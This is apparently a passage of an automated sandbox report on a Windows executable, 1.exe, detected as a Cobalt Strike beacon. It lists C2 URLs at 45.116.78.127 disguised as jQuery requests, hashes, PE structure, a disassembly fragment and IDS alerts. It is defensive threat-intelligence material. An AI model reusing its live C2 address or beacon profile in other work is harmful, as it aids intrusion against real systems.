https://45.116.78.127/=	1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js.	1.exe, 00000000.00000003.2279731119.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2299019879.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://code.jquery.com/)v	1.exe, 00000000.00000002.3273403913.000002B669D3C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://45.116.78.127/jquery-3.3.1.min.jsim	1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js0	1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js/	1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js5	1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsic	1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06	1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2318143913.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2923043972.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337370173.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412570457.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3083402749.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2393456740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2374875810.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06O	1.exe, 00000000.00000003.2529187313.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2509193576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js/e	1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/tography	1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591343411.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/M	1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsB_F	1.exe, 00000000.00000003.3215560010.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234770394.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3045966688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/E	1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsiU	1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/	1.exe, 00000000.00000003.2298925896.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsiO	1.exe, 00000000.00000003.3234770394.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/P	1.exe, 00000000.00000003.3215560010.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234673628.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196282775.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://45.116.78.127/R	1.exe, 00000000.00000003.3234673628.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273403913.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3254523170.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsiC	1.exe, 00000000.00000003.3083402749.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://45.116.78.127/i	1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsR3-	1.exe, 00000000.00000003.2299019879.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsy	1.exe, 00000000.00000003.2450808261.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2923043972.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941828835.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://45.116.78.127/l	1.exe, 00000000.00000003.2298925896.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/rovider	1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js/=	1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/e	1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://45.116.78.127/jquery-3.3.1.min.jsyptography	1.exe, 00000000.00000003.3045966688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.116.78.127	unknown	Hong Kong		55933	CLOUDIE-AS-APCloudieLimitedHK	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583283
Start date and time:	2025-01-02 10:33:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1.exe
Detection:	MAL
Classification:	mal100.troj.winEXE@1/1@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 88% Number of executed functions: 14 Number of non-executed functions: 53
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDIE-AS-APCloudieLimitedHK	Hilix.ppc.elf	Get hash	malicious	Mirai	Browse	43.240.13.118
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	122.10.88.88
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	103.215.93.239
	nshmips.elf	Get hash	malicious	Mirai	Browse	103.215.93.80
	JEtXXZfgJc5bFQw_-twqRQ	Get hash	malicious	ConnectBack	Browse	103.244.89.124
	QMpaV1OK1w.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	103.96.75.36
	file.exe	Get hash	malicious	GhostRat, Mimikatz	Browse	202.181.25.108
	file.exe	Get hash	malicious	Unknown	Browse	202.181.25.108
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	45.192.33.233
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	122.10.88.94

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	test5.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	45.116.78.127
	A4FY1OA97K.lnk	Get hash	malicious	DanaBot	Browse	45.116.78.127
	EQ5Vcf19u8.exe	Get hash	malicious	Socks5Systemz	Browse	45.116.78.127
	EQ5Vcf19u8.exe	Get hash	malicious	Socks5Systemz	Browse	45.116.78.127
	vwZcJ81cpN.exe	Get hash	malicious	Socks5Systemz	Browse	45.116.78.127
	vwZcJ81cpN.exe	Get hash	malicious	Socks5Systemz	Browse	45.116.78.127
	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	45.116.78.127
	gjEtERlBSv.exe	Get hash	malicious	Socks5Systemz	Browse	45.116.78.127
	gjEtERlBSv.exe	Get hash	malicious	Socks5Systemz	Browse	45.116.78.127
	WindowsUpdate.exe	Get hash	malicious	Unknown	Browse	45.116.78.127

Dropped Files

⊘No context

Created / dropped Files

\Device\Mailslot\slot-9265

Download File

Process:	C:\Users\user\Desktop\1.exe
File Type:	data
Category:	dropped
Size (bytes):	265737
Entropy (8bit):	7.574074995457399
Encrypted:	false
SSDEEP:	3072:XgGBm36hbPChTWjQWvWLGNkPd1Pt0PaQti4RVxFrqi/BAQuOYqEqCGy5IN:wd6hO1WMWvOGNKXd47PdYqEqCGy5IN
MD5:	844488F5A671540E8D6D8B3F89B3D273
SHA1:	93378D999C19D1B8AD8C39A6CA4E4F277183FB5A
SHA-256:	08F463716E035F7739876AFC20557C4ACC5DB12E29D1CBAB525EF40B652EE7D3
SHA-512:	4B88D039458719DC4FB979FEA7B5BD2BF928FE6A1B70D41D4A5226592B65247F32F6F7A03D04F4FD55A5788B44B1E7E1906FBBAD33246589755B94AE35B90C26
Malicious:	false
Reputation:	low
Preview:	.V....l.....oX.....c....QK_e..._.....I...9...I.O.F.=.._.?._=.....B.=.......}r{I..,(..p....D....Z.7..%l..^&.AX`.<....y7..w.`.... ....5....[1^w..PtU1X..^a>..:S.u}f..e#.l...S...T..]..!...~.m[.Y!}...[._A+!..A,./[.1m.e.C-...r.:.......P...^[.\.!....=iz...x.\......p...4).@.=.D...B.=.......=.....B.......R.=.....B.=.....B.=.....b.=.....B.=..w..B.=.....R.=.....B.=.....R.=......=.......=_......=i....B.=......=.....B.=......=.....B.=.....B.=.....B.=.....B.=....f.=}....B.=......=M....B.=.....B.=.....B.=....+.)..?....=.......=.....B.=.....B.=-..y+.(..^....=.,....=.@...B.=.....B.=M..Y+.-..?.....=.,...d.=.J...B.=.....B.=M...+.(..^...b.=.L...`.=. ...B.=.....B.=M..Y+.)..\...M.=.....R.=.....B.=.....B.=M..[.Yst.5.-Qp....H{..".@?....CA.#,i.PN^..l.._.j..$0.w?9.Zy..V..2...1an..D..${6q.H............SB]...oq.),.0./p.GXr.-.:.{.B...#...,X...Hv..H...zQ\|....{*A...&X.E.-..o.k..X..MR...lM,.....S.....bD....W..."^SKo...C..w$xw.3..O..;f.i....}.}~./...........\t..k.M....p(........X.FG.T..F.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.371945169519287
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	1.exe
File size:	526'848 bytes
MD5:	9afad044f9ff1201826fb08e602d3e1d
SHA1:	e10ffb85d9252ae4067708553ec07141b85e8d58
SHA256:	d2f3bf1f985fdd93088380843143d235c55b7188b99d7e728a1c49f8cbeb0a9e
SHA512:	2f02f51d009539b1ba39f563461652bdce99f45ca89f78c61e12d110f8641f4bbc8cf5d348c10ed2c2fc0f35c48d1a821893b301511d5b3f55d1cee5bbdb1ed5
SSDEEP:	6144:DShCXd6hO1WMWvOGNKXd47PdYqEqCGy5IxH/vmvBn9XF:BN6o1WxvOyH7PdYqEqbgI5/voxF
TLSH:	03B48B024352687DE1179D35E2F2F4FC3861DC58E8F399C78A937E99BB39A4653000AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...f.&f...............).r.....................@.....................................2....`... ............................

File Icon


Icon Hash:	1f346261d84c6712

Static PE Info

General

Entrypoint:	0x1400013d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6626E166 [Mon Apr 22 22:15:02 2024 UTC]
TLS Callbacks:	0x40001b70, 0x1, 0x40001b40, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d6e5bae1c8b524150e56169bc0241790

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [000543E5h]
mov dword ptr [eax], 00000001h
call 00007FCA4C81F01Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [000543C5h]
mov dword ptr [eax], 00000000h
call 00007FCA4C81EFFFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007FCA4C825D94h
dec eax
cmp eax, 01h
sbb eax, eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007FCA4C81F259h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000020h]
dec eax
mov eax, dword ptr [eax]
mov ebx, dword ptr [eax]
call dword ptr [00057E3Fh]
dec eax
mov ecx, eax
mov edx, ebx
call dword ptr [00057EE4h]
dec eax
mov ecx, dword ptr [00056BCDh]
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [00057EB1h]
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
call dword ptr [00057E1Bh]
mov dword ptr [000000A5h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x59000	0x990	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5c000	0x2a8f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x56000	0x4e0	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x87000	0x80	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x55080	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x59260	0x220	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7138	0x7200	a862a3159dd03ba874c09f8875653b15	False	0.5865885416666666	data	6.318653270923573	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x9000	0x4bcd0	0x4be00	902c1d957aa07d9b4868bcc79abf54ec	False	0.572745057660626	zlib compressed data	7.054400837416238	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x55000	0xe10	0x1000	880e799edacf8a7a40eb6e596fa84a27	False	0.27197265625	data	4.375500397708199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x56000	0x4e0	0x600	5f87c73a15265ff27134c24e1f6ec14c	False	0.4420572916666667	data	3.9083658914282964	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x57000	0x498	0x600	534c1d4a7a003b6d28868cf2afd7036c	False	0.2682291666666667	data	3.691608001970335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x58000	0xc60	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x59000	0x990	0xa00	31033ba972d920c39656978835d548e0	False	0.35	data	4.224022858761624	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x5a000	0x60	0x200	2ba86c405a5e7276b45875ad739ffbeb	False	0.068359375	data	0.27950974526108024	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x5b000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5c000	0x2a8f0	0x2aa00	c8f9680d2ba7f206bc377703a81f9228	False	0.23968452162756598	data	4.160698559536376	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x87000	0x80	0x200	7e4c3f671b8159e7c99c5a83bd6eb190	False	0.251953125	data	1.5593077198912917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x5c388	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.3817204301075269
RT_ICON	0x5c670	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5472972972972973
RT_ICON	0x5c798	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.43443496801705755
RT_ICON	0x5d640	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.5875451263537906
RT_ICON	0x5dee8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.671242774566474
RT_ICON	0x5e450	0x3bf3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9913338111683065
RT_ICON	0x62048	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.09962439370637644
RT_ICON	0x72870	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.1279167542568846
RT_ICON	0x7bd18	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.1831601322626358
RT_ICON	0x7ff40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.2337136929460581
RT_ICON	0x824e8	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	English	United States	0.26612426035502956
RT_ICON	0x83f50	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.3320825515947467
RT_ICON	0x84ff8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.4209016393442623
RT_ICON	0x85980	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.4994186046511628
RT_ICON	0x86038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5709219858156028
RT_GROUP_ICON	0x864a0	0xd8	data	English	United States	0.6296296296296297
RT_VERSION	0x86578	0x374	data	English	United States	0.417420814479638

Imports

DLL

Import

KERNEL32.dll

CloseHandle, ConvertThreadToFiber, CreateFiber, CreateFileA, CreateMailslotA, CreateThread, DeleteCriticalSection, DeleteFiber, EnterCriticalSection, GetCurrentProcess, GetCurrentThreadId, GetLastError, GetMailslotInfo, GetModuleHandleA, GetProcAddress, GetTickCount, HeapAlloc, HeapCreate, HeapReAlloc, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, MultiByteToWideChar, ReadFile, SetUnhandledExceptionFilter, Sleep, SleepEx, SwitchToFiber, TlsGetValue, VirtualProtect, VirtualQuery, WaitForSingleObject, WideCharToMultiByte, WriteFile

msvcrt.dll

__C_specific_handler, ___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _errno, _fmode, _initterm, _onexit, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, malloc, memcpy, memset, signal, strerror, strlen, strncmp, vfprintf, wcslen

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T10:34:00.428365+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49704	45.116.78.127	443	TCP
2025-01-02T10:34:01.092715+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49704	45.116.78.127	443	TCP
2025-01-02T10:34:01.092715+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49704	45.116.78.127	443	TCP
2025-01-02T10:34:01.092931+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49704	TCP
